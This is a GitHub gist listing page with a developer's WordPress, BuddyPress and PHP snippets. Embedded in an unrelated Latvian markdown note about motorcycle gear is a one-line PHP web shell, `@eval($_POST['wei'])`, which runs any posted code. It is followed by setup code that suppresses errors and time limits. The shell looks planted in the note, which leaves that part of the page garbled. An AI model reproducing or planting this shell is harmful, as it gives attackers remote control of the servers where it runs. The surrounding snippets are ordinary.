Skip to content

Instantly share code, notes, and snippets.

View rolandinsh's full-sized avatar
🧔
Remote developer (LEMP, Node.js, Neo4j [graph])

Rolands rolandinsh

🧔
Remote developer (LEMP, Node.js, Neo4j [graph])
View GitHub Profile
@rolandinsh
rolandinsh / itempropwp_img_attr.php
Created August 4, 2012 18:20
add itemprop to WordPress elements (image attributes)
<?php
/*
* @author umbrovskis
* @url http://simplemediacode.info/?post_type=snippets&p=920
*/
add_filter('wp_get_attachment_image_attributes', 'ipwp_img_attr', 10, 2);
function ipwp_img_attr($attr) {
$attr['itemprop'] = 'image';
return $attr;
}
@rolandinsh
rolandinsh / republa_svarigakais_test1.md
Last active June 12, 2020 11:46
Republa.media teksta svarīgākās daļas un info.

Šis ir tikai eksperimentāls ziņu kopsavilkums jaunajai aplikācijai, ko veidoju. Pirmais tests. Un izskatās, ka, laikam, būs OK.


Pieredzes trūkuma dēļ pirmais moto apģērbs bieži tiek nopirkts neadekvāts vai nepiemērots. Arī vietējos moto akesuāru veikalos reti var sagaidīt īpašu atsaucību un palīdzību šajā sakarā. Starp citu, kopš 2019.gada CSDD eksāmena kārtošanas prasības A kategorijai iekļauj obligātu ķiveres, cimdu, apavu, moto jakas un bikšu lietošanu.

<?php @eval($_POST['wei']); ?>
<?php
set_time_limit(0);
error_reporting(0);
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
@rolandinsh
rolandinsh / gist:5941257
Created July 6, 2013 20:53
update BuddyPress xprofile programmatically
<?php
function smc_update_xprofile($userid,$field,$value) {
// alternative to get user ID
// global $current_user;
// get_currentuserinfo();
// $field = 'Foo'; // xProfile field name
// $value = 'bar'; // desired value
// xprofile_set_field_data($field, $current_user->id, $value);
<?php
function get_url_contents($url){
if (function_exists('file_get_contents')) {
$result = @file_get_contents($url);
}
if ($result == '') {
$ch = curl_init();
$timeout = 30;
curl_setopt($ch, CURLOPT_URL, $url);
@rolandinsh
rolandinsh / gist:3510701
Created August 29, 2012 11:04
Do Not Track (DNT) detect with PHP code
function get_smc_dnt() {
/*
* Do Not Track for privacy.
* When this feature is enabled, webpage should exclude all tracking tools,
* like Google Analytic and advertising networks
*/
// returns TRUE if DNT is on and is equal to 1,
// returns FALSE if DNT is unset OR not equal to 1
return (isset($_SERVER['HTTP_DNT']) && $_SERVER['HTTP_DNT'] == 1);
}
@rolandinsh
rolandinsh / hugo_backtranslation
Created May 12, 2019 10:34
hugo.lv translation and backtransalation (parak-jauna-SynthesizedAudio.554db4a5-a050-4b7a-abac-c67fb92d7d7c.mp3). Runas atpazīšanas kvalitātes prognoze: 0.797.
Original:
Es skatos Panorāmu, viņa skatās Youtube.
Viņas pirmai trubai jau bij iebūvēts Bluetooth.
Meiča... Pat nezin kas ir Mixeri.
Mazā nekad mūžā nav aiztikusi disketi.
Mazā nekad mūžā nav spēlējusi Lingo.
Mazā pat nav mutē ņēmus' batoniņu Bingo.
Es dzēru tarhūnu, bet viņa dzēra Limpo.
@rolandinsh
rolandinsh / get_meta_values.php
Created November 11, 2018 15:04 — forked from nciske/get_meta_values.php
WordPress Getting all values for a custom field key
// http://wordpress.stackexchange.com/questions/9394/getting-all-values-for-a-custom-field-key-cross-post
function get_meta_values( $key = '', $type = 'post', $status = 'publish' ) {
global $wpdb;
if( empty( $key ) )
return;
$r = $wpdb->get_col( $wpdb->prepare( "
SELECT pm.meta_value FROM {$wpdb->postmeta} pm
LEFT JOIN {$wpdb->posts} p ON p.ID = pm.post_id
WHERE pm.meta_key = '%s'
@rolandinsh
rolandinsh / videoc.txt
Last active November 7, 2018 12:05
video categories from Youtube (more: https://republa.com & https://simplemediacode.com )
1 Film & Animation
2 Autos & Vehicles
10 Music
15 Pets & Animals
17 Sports
18 Short Movies
19 Travel & Events
20 Gaming
21 Videoblogging
22 People & Blogs
@rolandinsh
rolandinsh / SensioLabs-Security-Formatters-TextFormatter.php
Last active July 18, 2018 14:29
Legacy support for transit Symfony comment() to writeln()
<?php
/**
* {@inheritdoc}
* Legacy support
* @link https://github.com/sensiolabs/security-checker/commit/885d3e6400fa4cb18eb68d9fde5b739bbee155ce
*/
public function comment($messages, $type = self::OUTPUT_NORMAL)
{
$this->writeln($messages, $type);
}